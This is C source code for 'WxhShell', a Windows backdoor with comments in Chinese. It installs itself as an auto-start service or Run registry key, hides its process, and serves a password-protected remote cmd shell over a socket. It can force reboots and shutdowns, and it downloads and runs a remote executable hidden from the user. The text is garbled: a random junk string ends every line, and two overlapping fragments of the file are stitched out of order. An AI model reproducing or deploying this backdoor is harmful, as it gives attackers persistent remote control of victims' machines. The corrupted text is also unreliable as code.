    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /b7]NC%  
    if(Boot(SHUTDOWN)) 92x)Pc^D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oJ?,X^~_  
    else { < Dt/JA(p  
    closesocket(wsh); BUS4 T#D  
    ExitThread(0); VVJIJ9L&C  
    } 9? y&/D5O  
    break; H <9_BA?  
    } ryNe=9p  
  // 获取shell 5=&ME(fmV  
  case 's': { c!ieN9^+  
    CmdShell(wsh); J9-n3o  
    closesocket(wsh); X;]I jha<*  
    ExitThread(0); \q@Co42n\  
    break; Ye S5%?Fk  
  } s}F.D^^G  
  // 退出 1ixBwnp?  
  case 'x': { }qT{" *SC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [vqf hpz  
    CloseIt(wsh); ;ObrBN,Fu  
    break; JNv@MJb}  
    } "`NAg  
  // 离开 GTM@9^  
  case 'q': { " GY3sam  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !bs5w_@  
    closesocket(wsh); mw&'@M_(7  
    WSACleanup(); {T-=&%||  
    exit(1); x[=,$;o+  
    break; 3Cgv($xl&  
        } "5204I  
  } q|V|Jl  
  } {)(Mkm +d  
Re+oCJ  
  // 提示信息 ,_ TE@ ]!$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6 2#@Y-5  
} L*OG2liJ  
  } bFhZSk )  
"U!Vdt2vp  
  return; =~k}XB  
} ~b @"ir+g4  
_(-i46x}  
// shell模块句柄 R"j<C13;%  
int CmdShell(SOCKET sock) CG;+Z-"X  
{ g:Q:cSg<  
STARTUPINFO si; {n&GZG"f  
ZeroMemory(&si,sizeof(si)); h=Q2 ?O8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VTU(C&"S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; eA*We  
PROCESS_INFORMATION ProcessInfo; fA"c9(>m%]  
char cmdline[]="cmd"; Q zg?#|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pk`5RDBu  
  return 0; zm8k,e +5-  
} ;d<O/y,:4  
5=\^DeM@ H  
// 自身启动模式 KZO[>qC"R  
int StartFromService(void) d3\KUR^  
{ BiDyr  
typedef struct |ZC'a!  
{ T% GR{mp  
  DWORD ExitStatus; <Sr:pm  
  DWORD PebBaseAddress; yuC|_nL  
  DWORD AffinityMask; k!bG![Ie|  
  DWORD BasePriority; \u04m}h]  
  ULONG UniqueProcessId; %k<+#j6ZH  
  ULONG InheritedFromUniqueProcessId; `n@;%*6/  
}   PROCESS_BASIC_INFORMATION; hXvC>ie(i  
;66{S'*[  
PROCNTQSIP NtQueryInformationProcess; 3-oKY*jO  
[)?9|yY"`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J:J/AgJuH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5 `@yX[G  
3,EtyJ3[Bh  
  HANDLE             hProcess; n a*Z0y  
  PROCESS_BASIC_INFORMATION pbi; \TYVAt] ?  
_DAqL@5n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &*bpEdkZ  
  if(NULL == hInst ) return 0; c>3j $D+  
*2fJdY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (&u'S+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C\Z5%2<Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u@P1`E1Q  
OsW*@v(  
  if (!NtQueryInformationProcess) return 0; 8 &v)Vi-  
&O#1*y Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); | #b/EA9  
  if(!hProcess) return 0; qQIX:HWDKZ  
8)M WC:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !@*= b1  
{6%-/$LX  
  CloseHandle(hProcess); =f23lA  
JNT|h zV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F@HJ3O9  
if(hProcess==NULL) return 0; A2p%Y},  
C9_[ke[1D  
HMODULE hMod; xB]^^ NYE=  
char procName[255]; a_]l?t  
unsigned long cbNeeded; =Ot_P7'5gv  
Gx4{ 9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )TyP{X>  
;U$Rd,T4S  
  CloseHandle(hProcess); p>f ?Rw_  
I0><IaFy  
if(strstr(procName,"services")) return 1; // 以服务启动 ef!f4u\  
tv Zq):c  
  return 0; // 注册表启动 lon9oraF'  
} ;Wa&Dg/5`  
Jl6lZd(Np  
// 主模块 x <OVtAUB  
int StartWxhshell(LPSTR lpCmdLine) \ .+:yV<$  
{ ;)SWwhQ  
  SOCKET wsl; Bj"fUI!dK  
BOOL val=TRUE; m. \JO  
  int port=0; +G\i$d;St  
  struct sockaddr_in door; |f\WVGH  
4?+jvVq  
  if(wscfg.ws_autoins) Install(); aL&9.L|1 g  
NTO.;S|2%  
port=atoi(lpCmdLine); ]>ndFE6kl  
dc_2nF  
if(port<=0) port=wscfg.ws_port; P RNq8nmxC  
; xQhq*  
  WSADATA data; n ywC]T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ep0dT3&  
K`60[bdp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ];5Auh 0o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (9=E5n6o  
  door.sin_family = AF_INET; vP+qwvpGr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); HV7f%U  
  door.sin_port = htons(port); T\ukJ25!  
G1*,~1i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s,pg4nst56  
closesocket(wsl); NxDVU?@p*  
return 1; 3lEP:Jp  
} aT+w6{%Z  
/d/]#T[Z9  
  if(listen(wsl,2) == INVALID_SOCKET) { i2;,\FI@t%  
closesocket(wsl); Vg :''!4t2  
return 1; P}>>$$b\Yi  
} Ab:ah 7!  
  Wxhshell(wsl); o}f$?{)|   
  WSACleanup(); ITEf Q@#jU  
=fdW H4  
return 0; ?GtI.flV  
Xy`'h5  
} R3LIN-g(  
:zvAlt'q=  
// 以NT服务方式启动 ^<uQ9p^B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V]"pM]>3X  
{ Z }Q/u^Z  
DWORD   status = 0; a;nYR5f  
  DWORD   specificError = 0xfffffff; WS?Y8~+{5  
?AQA>D#W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ts("(zI1E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \PFjw9s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,H<nNBv 3M  
  serviceStatus.dwWin32ExitCode     = 0; l<<9H-O  
  serviceStatus.dwServiceSpecificExitCode = 0; /[ft{:#&t  
  serviceStatus.dwCheckPoint       = 0; z]LVq k  
  serviceStatus.dwWaitHint       = 0; 0I do_V  
`2^(Ss# )  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 83p8:C.Ze  
  if (hServiceStatusHandle==0) return; F1L[C4'  
VR A+p?7-  
status = GetLastError(); A/fM30  
  if (status!=NO_ERROR) S v#,L8f  
{ MZh?MaBz06  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \:'6_K  
    serviceStatus.dwCheckPoint       = 0; I)0_0JXs  
    serviceStatus.dwWaitHint       = 0; L/%{,7l<^?  
    serviceStatus.dwWin32ExitCode     = status; -^;,m=4{3  
    serviceStatus.dwServiceSpecificExitCode = specificError; Uz[#ye  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); NR-<2 e3  
    return; B[ D s?:  
  } Bn=YGEvz  
I3izLi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +"JWsD(C(  
  serviceStatus.dwCheckPoint       = 0; :f7vGO"t  
  serviceStatus.dwWaitHint       = 0; '<*%<J{(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _JA)""l%  
} +_gA"I  
gS`Z>+V5!c  
// 处理NT服务事件,比如:启动、停止 G `B=:s]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cWo__EE  
{ Y?zo")  
switch(fdwControl) <Lt"e8Z>x  
{ rSm#/)4A  
case SERVICE_CONTROL_STOP: gQ%mVJB{(  
  serviceStatus.dwWin32ExitCode = 0; B<$6Dj%L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -%K}~4J  
  serviceStatus.dwCheckPoint   = 0; &%k_BdlkQ  
  serviceStatus.dwWaitHint     = 0; St> E\tXp  
  { Goy[P2m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +^J;ic  
  } '"ze Im~  
  return; 5B8fz;l= B  
case SERVICE_CONTROL_PAUSE: jqTK7b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ">S1,rhgS  
  break; w\V<6_[vv.  
case SERVICE_CONTROL_CONTINUE: 7 s2*VKr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0tPwhJ  
  break; }#Iqq9[  
case SERVICE_CONTROL_INTERROGATE: (Kg)cc[B`  
  break; $BB^xJ\O  
}; y&\t72C$Fi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sb1tQ=u[  
} Ox)_7A  
xon^=Wo;  
// 标准应用程序主函数 JS<w43/j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ad>@8^  
{ $?VYHkX  
qLKL*m  
// 获取操作系统版本 #SjCKQ~  
OsIsNt=GetOsVer(); De>,i%`Q,D  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -lq`EB +  
0m\( @2E  
  // 从命令行安装 HzuG- V  
  if(strpbrk(lpCmdLine,"iI")) Install(); m`Z.xIA7;  
ycvgF6Me<  
  // 下载执行文件 [D?d~pB  
if(wscfg.ws_downexe) { /rK/ l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g0s4ZI+T  
  WinExec(wscfg.ws_filenam,SW_HIDE); CDr0QM4k:.  
} LcNI$g;}Yf  
f}ch1u>  
if(!OsIsNt) { fjuPGg~  
// 如果时win9x,隐藏进程并且设置为注册表启动 *#@{&Q(Qh  
HideProc(); ,:V[H8 ?  
StartWxhshell(lpCmdLine); 1:./f|m  
} I?%#`Rvu  
else iU=:YPE+ .  
  if(StartFromService()) u09D`QPP]  
  // 以服务方式启动 ,W/Y@ScC  
  StartServiceCtrlDispatcher(DispatchTable); z U *Mk  
else AXnKhYlu  
  // 普通方式启动 (OavgJ+Y  
  StartWxhshell(lpCmdLine); D$w?  
-$@'@U  
return 0; hQNUA|Q=%  
} h7m$P^=U  
&Wk:>9]Jrb  
kKDf%=  
o4LVG  
=========================================== C8 }=fa3u  
vNZ"x)?  
?#nk}=;g8  
~*~aFf5  
[i> D|X  
Eq8:[o  
" E(f|LG[I  
?[DVYP  
#include <stdio.h> ]!/R tt  
#include <string.h> P86wRq  
#include <windows.h> vAOThj)  
#include <winsock2.h> Wkr31Du\K  
#include <winsvc.h> Vy c  
#include <urlmon.h> qS ggZ0*  
XXD4T9Wy  
#pragma comment (lib, "Ws2_32.lib") )]\-Uy$x  
#pragma comment (lib, "urlmon.lib") mT;   
zU4*FXt  
#define MAX_USER   100 // 最大客户端连接数 ,XN4Iy#BZl  
#define BUF_SOCK   200 // sock buffer vo~Qo;m  
#define KEY_BUFF   255 // 输入 buffer w7\ \m9  
N%=,S?b  
#define REBOOT     0   // 重启 >{Xyl):  
#define SHUTDOWN   1   // 关机 @B?'Mu*  
tdp>vI!  
#define DEF_PORT   5000 // 监听端口 /L2.7`5  
&k`lb kq  
#define REG_LEN     16   // 注册表键长度 EYn9l n_]u  
#define SVC_LEN     80   // NT服务名长度 v`@N R06  
A-M6MW  
// 从dll定义API /IH F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c s:E^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G1 I<B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); };gcM @]]E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Mi}k>5VT  
ogV v 8Xb  
// wxhshell配置信息 |F qujZz  
struct WSCFG { ?d k)2  
  int ws_port;         // 监听端口 |ss4pN0X  
  char ws_passstr[REG_LEN]; // 口令 k[*> nE  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9w1`_r[J  
  char ws_regname[REG_LEN]; // 注册表键名 lcfs 1].  
  char ws_svcname[REG_LEN]; // 服务名 uE.. 1N&*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 NZ+TTMv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "od 2i\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =t|,6Vp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7dR]$ ~+*e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ' wp _U /  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "wxyY^"  
H5CL0#I  
}; H#T&7X_<  
Ldy(<cN  
// default Wxhshell configuration ITz+O=I4R]  
struct WSCFG wscfg={DEF_PORT, 3XncEdy_  
    "xuhuanlingzhe", BJp~/H`vd  
    1, %P C[-(Q  
    "Wxhshell", 3aJYl3:0B  
    "Wxhshell", }5Km \OI  
            "WxhShell Service", [?XP[h gd  
    "Wrsky Windows CmdShell Service", Dh<}j3]  
    "Please Input Your Password: ", :*t5?  
  1, mKUm*m#<R  
  "http://www.wrsky.com/wxhshell.exe", jm'^>p,9G  
  "Wxhshell.exe" -"x@V7X  
    };  7b8y  
fd&>p  
// 消息定义模块 b*6c. o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^NnU gj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U~){$kpI#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !e#I4,fn  
char *msg_ws_ext="\n\rExit."; :>er^\  
char *msg_ws_end="\n\rQuit."; &)"7am(S`  
char *msg_ws_boot="\n\rReboot..."; nM(=bEX  
char *msg_ws_poff="\n\rShutdown..."; cV=_G E  
char *msg_ws_down="\n\rSave to "; bH WvKv+  
#BT6bH08X  
char *msg_ws_err="\n\rErr!"; Fy(nu-W  
char *msg_ws_ok="\n\rOK!"; {Y@-*pL]  
hI>rtaY_  
char ExeFile[MAX_PATH]; B;D:9K  
int nUser = 0; . ;ea]_Z  
HANDLE handles[MAX_USER]; Fgc:6<MGM  
int OsIsNt; _1>(GK5[  
>m_ p\$_  
SERVICE_STATUS       serviceStatus; n[MIa]dK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o,''f_tRQ|  
$jm>tW&;  
// 函数声明 u{{xnyl?  
int Install(void); #iqhm,u7D  
int Uninstall(void); yOn2}Z  
int DownloadFile(char *sURL, SOCKET wsh); 8NF;k5   
int Boot(int flag); ttAVB{kdo  
void HideProc(void); hiK[!9r  
int GetOsVer(void); 1VyO?KX '  
int Wxhshell(SOCKET wsl); G4iLCcjY  
void TalkWithClient(void *cs); !ovZ>,1  
int CmdShell(SOCKET sock); cJ(zidf_$  
int StartFromService(void); 1R+ )T'in  
int StartWxhshell(LPSTR lpCmdLine); c^[1]'y  
(zTI)EV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); = "hY{RUa  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SU#P.y18%  
X-ki%jp3  
// 数据结构和表定义 Zm8 u:  
SERVICE_TABLE_ENTRY DispatchTable[] = +'&_V011<  
{ O3w_vm'  
{wscfg.ws_svcname, NTServiceMain}, ZTPOD.:#  
{NULL, NULL} M-qxD"VtV=  
}; >s 8:1l  
j2{,1hj  
// 自我安装 l]kl V+9t  
int Install(void) Bg+]_:<U  
{ s=%+o& B  
  char svExeFile[MAX_PATH]; J:-TINeB  
  HKEY key; ^s(X VVA  
  strcpy(svExeFile,ExeFile); B 1ZHV^  
4M<JfD  
// 如果是win9x系统,修改注册表设为自启动 m|cWX"#g  
if(!OsIsNt) { b\|p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "/K&qj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w<F;&' ;@h  
  RegCloseKey(key); LOb'<R\p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U37?P7i's  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hC 4X Y  
  RegCloseKey(key); tU2to V  
  return 0; 8|-mzb&  
    } ,, H$>r_;  
  } I}W-5%  
} KutgW#+40  
else { : $52Ds!i  
I9G*iu=U   
// 如果是NT以上系统,安装为系统服务 /&!d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZEyGqCf3  
if (schSCManager!=0) R#Nd|f<  
{ oQjB&0k4  
  SC_HANDLE schService = CreateService &_^*rD~  
  ( @Jn:!8U0  
  schSCManager, w KMk|y>  
  wscfg.ws_svcname, y[5P<:&s  
  wscfg.ws_svcdisp, ]{6yS9_tuI  
  SERVICE_ALL_ACCESS, Q}f}Jf3P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N5an9r&z(1  
  SERVICE_AUTO_START, (7jB_ p%  
  SERVICE_ERROR_NORMAL, n\ ',F  
  svExeFile, J)yy}[Fx  
  NULL, lbuW*)  
  NULL, =UKR<@QrK  
  NULL, .gkPG'm[  
  NULL, AoOG[to7  
  NULL SnF[mN'  
  ); _Il9s#NA%  
  if (schService!=0) *I1W+W`G  
  { e %v4,8  
  CloseServiceHandle(schService); UV8r&O  
  CloseServiceHandle(schSCManager); 8 W<)c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &'ETx"  
  strcat(svExeFile,wscfg.ws_svcname); QKaj4?p$|S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ut5!2t$c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6ewOZ,"j"4  
  RegCloseKey(key); a&c#* 9t{  
  return 0; >dm._*M  
    } @)'@LF1Z  
  } F)iG D~  
  CloseServiceHandle(schSCManager); #|_UA}Y  
} AW;) _|xM  
} F#bo4'&>@  
68GGS`&  
return 1; ;pyJ O_R[  
} "oXAIfU#T  
XQY&4tK  
// 自我卸载 `"b7y(M  
int Uninstall(void) ]j$p_s>  
{ "PScM9)\  
  HKEY key; <^'+ ]?  
jhbH6=f4]^  
if(!OsIsNt) { {2clOUi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dQ|Ht[ s=  
  RegDeleteValue(key,wscfg.ws_regname); *]{I\rX  
  RegCloseKey(key); PyxN_agf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  mFoK76  
  RegDeleteValue(key,wscfg.ws_regname); DSZhl-uGM  
  RegCloseKey(key); AbI*/ |sY  
  return 0; 4x?u5L 9o  
  } ~I|R}hS  
} 8[`<u[Iv  
} `[:1!I.}-  
else { zYF&Dv/u/  
)0d".Q|v4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bK;a V&  
if (schSCManager!=0) IeI% X\G  
{ NWwtq&pz2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0Ilvr]1a4  
  if (schService!=0) $hp?5K M  
  { (IHBib "  
  if(DeleteService(schService)!=0) { il%tu<E#J~  
  CloseServiceHandle(schService); !;C(pnE  
  CloseServiceHandle(schSCManager); R{A/ +7!  
  return 0; H08YM P>dc  
  } iSLf:  
  CloseServiceHandle(schService); f> [;|r@K  
  } JP@m%Yj  
  CloseServiceHandle(schSCManager); X&oy.Roo  
} -vfu0XI~  
} f_2^PF>?  
5nqdY*  
return 1; PlRs- %d  
} Sz@?%PnU|  
2#M:J gWV  
// 从指定url下载文件 }gRLW2&mR>  
int DownloadFile(char *sURL, SOCKET wsh) f8jz49C  
{ L(P:n-^  
  HRESULT hr; 3v+}YT{>b  
char seps[]= "/"; G6mM6(Sr  
char *token; 2MzFSmhc"  
char *file; PH!B /D5G  
char myURL[MAX_PATH]; G/44gKl  
char myFILE[MAX_PATH]; * t9qH  
vm}.gQ  
strcpy(myURL,sURL); 1V$B^/_  
  token=strtok(myURL,seps); -"9)c^KVx  
  while(token!=NULL) ']e4 !  
  { Xtnmh)'K~#  
    file=token; 'z!#E!i  
  token=strtok(NULL,seps); f|1FqL+T]  
  } <f{`}drp/  
QnLg P7Ft  
GetCurrentDirectory(MAX_PATH,myFILE); Z*"t]L  
strcat(myFILE, "\\"); TiEJyd`P  
strcat(myFILE, file); jAHn`Bxz  
  send(wsh,myFILE,strlen(myFILE),0); *`'%tp"'+  
send(wsh,"...",3,0); eG>Fn6G<g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IVODR  
  if(hr==S_OK) usf(U>  
return 0; -vAG5x/,  
else !O_^Rn+<2  
return 1; >8t[EsW/  
&`2*6 )qa  
} [;8fL  
y+R$pzX  
// 系统电源模块 #N}}8RL  
int Boot(int flag) sswAI|6ou  
{ 5g7}A`  
  HANDLE hToken; 2DdLqZY#  
  TOKEN_PRIVILEGES tkp; Cms"OkN  
8^i,M^f^{  
  if(OsIsNt) { S9055`v5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )X$n'E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =DwH*U /YR  
    tkp.PrivilegeCount = 1; o;C)!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Qnh1s u5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HV(*6b@  
if(flag==REBOOT) { cNC BbOMr  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r T$g^  
  return 0; -z1o~~  
} V t;&2v  
else { >m{-&1Tx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v A~hkkj{  
  return 0; <QLj6#d7Y  
} )@M|YM1+  
  } *9^k^h(r&4  
  else { ,1h(k<-  
if(flag==REBOOT) { c{ (%+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rn*VL(Yd(  
  return 0; <WkLwP3^  
} 4yy yXj  
else { :\We =oX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) iAhRlQ{Qu  
  return 0; >g=:01z9  
} sOenR6J<$  
} 1&nrZG9  
* OFT)S  
return 1; m':m`,c!  
} -8e tH&  
f 2f $aZ  
// win9x进程隐藏模块 jZ yh   
void HideProc(void) Z6pDQ^Ii  
{  /t P  
1h{_v!X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X)5O@"4 ?  
  if ( hKernel != NULL ) mz '8  
  { n&&y\?n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g;@PEZk1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3qZ{yr2N[  
    FreeLibrary(hKernel); Np_6ZUaqz  
  } obGSc)?j  
{ )K(}~VD  
return; m!if_Iq  
} K?WqAVK  
).b+S>k  
// 获取操作系统版本 ZH :X 4!  
int GetOsVer(void) UQr+\ u  
{ I !~Omr@P  
  OSVERSIONINFO winfo; 6h8NrjX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AlV2tffY^  
  GetVersionEx(&winfo); VQ`O;n6/`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _~"3 LB  
  return 1; ?Kf@/jv  
  else aS 2 Y6  
  return 0; _: x$"i  
} e&nw&9vo  
_bsfM;u.%  
// 客户端句柄模块 IC~D?c0H:  
int Wxhshell(SOCKET wsl) #k, kpL<a  
{ 6, ~aV  
  SOCKET wsh; gUQCKNw  
  struct sockaddr_in client; ?c*d z{  
  DWORD myID; ~o$=(EC  
Kz;VAH  
  while(nUser<MAX_USER) c8MNo'h  
{ G&-h,"yo^  
  int nSize=sizeof(client); Stpho4+/y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6 h):o  
  if(wsh==INVALID_SOCKET) return 1; iqYc&}k,  
54&2SU$kx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dRmTE  
if(handles[nUser]==0) g?wogCs5  
  closesocket(wsh); l71\II  
else C:cu1Y9  
  nUser++; =?hlgQ  
  } ~ME=!;<_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NeP1 #  
7)#/I  
  return 0; 4B]a8  
} @hv] [(<  
- Zh+5;8g  
// 关闭 socket Qfi5fp=f  
void CloseIt(SOCKET wsh) lQjq6Fl2  
{ @ck2j3J/  
closesocket(wsh); 6dp~19T^  
nUser--; j!/(9*\  
ExitThread(0); Qzv_|U  
} ;RI,zQ  
e2Dj%=`EU  
// 客户端请求句柄 2UquN0  
void TalkWithClient(void *cs) 1GxYuTZ{  
{ 49 D*U5o  
B~IOM  
  SOCKET wsh=(SOCKET)cs; wv$=0zF  
  char pwd[SVC_LEN]; %;S5_K,  
  char cmd[KEY_BUFF]; `JCC-\9T_  
char chr[1]; -XBNtM_ "  
int i,j; l=yO]a\QZ  
ADDpm-]  
  while (nUser < MAX_USER) { -rfO"D>  
V !$m{)Y  
if(wscfg.ws_passstr) { i%iU_`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ho/5e*X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,MJZ*"V/3  
  //ZeroMemory(pwd,KEY_BUFF); bH&H\ Mx_k  
      i=0; 6SwHl_2%  
  while(i<SVC_LEN) { zob-z=='  
w_ m  
  // 设置超时 (g\'Zw5bk  
  fd_set FdRead; 0IK']C  
  struct timeval TimeOut; +?p ;,Z%5  
  FD_ZERO(&FdRead); ZO~N|s6B^  
  FD_SET(wsh,&FdRead); {*m?t 7  
  TimeOut.tv_sec=8; K+Qg=vGY  
  TimeOut.tv_usec=0; %-dGK)?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mon(A|$|j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8b/yT4f  
j:#[voo7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uIu0"pv`x  
  pwd=chr[0]; @`{UiTN X`  
  if(chr[0]==0xd || chr[0]==0xa) { -3Ffk:  
  pwd=0; wJ}8y4O!N  
  break; @S}'_g  
  } x;I*Ho  
  i++; P~&X$H%e  
    } T-MLW=Vu  
Yr!3mU-Uvt  
  // 如果是非法用户,关闭 socket p0/I}n4<5n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >9DgsA`'  
} AjpQb ~\  
1g@kHq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lUrchLoDt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rRMC< .=  
#q-t!C%E  
while(1) { [|3 %~s|Sv  
v1: 5 r  
  ZeroMemory(cmd,KEY_BUFF); I;7VX5X  
h*Ej}_  
      // 自动支持客户端 telnet标准   SWu=n1J.?H  
  j=0; 84k;d;  
  while(j<KEY_BUFF) { Y9C]-zEv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zr,jaR;  
  cmd[j]=chr[0]; Cpr}*A   
  if(chr[0]==0xa || chr[0]==0xd) { p|Ln;aYc  
  cmd[j]=0; &EMm<(.]a  
  break; sU>*S$X8  
  } </eh^<_~  
  j++; kmf4ax h1  
    } 8=$@azG  
eI@O9<.&  
  // 下载文件 c;Li~FLR  
  if(strstr(cmd,"http://")) { 5d)G30  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (Az^st/_  
  if(DownloadFile(cmd,wsh)) X(8 ]9  
